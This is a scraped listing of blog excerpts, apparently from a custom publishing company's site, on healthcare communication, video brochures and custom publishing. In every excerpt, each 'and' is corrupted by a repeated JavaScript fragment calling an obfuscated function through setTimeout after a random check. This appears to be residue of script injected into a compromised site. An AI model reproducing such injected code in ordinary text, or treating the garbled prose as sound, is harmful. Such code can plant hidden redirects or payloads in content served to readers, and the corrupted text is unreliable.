Patient-Centered Communication

Patient Centered Care2

There’s not a lot of extra money to go around at healthcare organizations, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it seems like communication budgets are sometimes the first thing on the chopping block when it’s time for cuts. But it can be argued that the changes that are occurring right now make patient-centered communication more important than […]

Custom Video Brochures Making an Impact

Video Brochures

Creating a compelling andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and interesting video is hard enough. Getting someone to watch it is another challenge altogether. This is one of several hurdles that a custom video brochure can help overcome. Limited Time, Unlimited Potential There was a time when reaching decision makers was as simple as buying a page in the New […]

Evaluating Communication

Evaluating Communication

  There’s an old saying — “Imperfect action always beats perfect inaction every time.” It’s pretty good advice when we need motivation. Instead of sitting around andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and waiting for the perfect idea to pitch to your dream client, pick up the phone andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and say hello. […]

Creating a Content Environment

There was a time in magazine publishing when the wall between editorial andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ad sales, “Church andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and State,” was sacrosanct — it protected the integrity of news content, but also sometimes lead to interesting coincidences andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and unhappy advertisers. That’s still […]

What Does A Custom Publishing Company Look Like In 2014?

Onward Publishing was established 20 years ago in 1994. Things were a little different back then. That was the same year yahoo.com was launched (here’s what it looked like at the time): Back then, digital marketing was almost non-existent andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and print was king. When you wanted to reach your customers, […]

Don’t Take My Word For It: Custom Publishing

It’s 2014 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and print is supposed to be contracting. TimeWarner spins off Time Inc. New York magazine goes from weekly to bi-monthly. Newspapers are shrinking. Read on… The Huffington Post Recently Reported: Sadly, the days of robust, metro dailies are over. Daily newspapers, which can’t compete with specialist publications or […]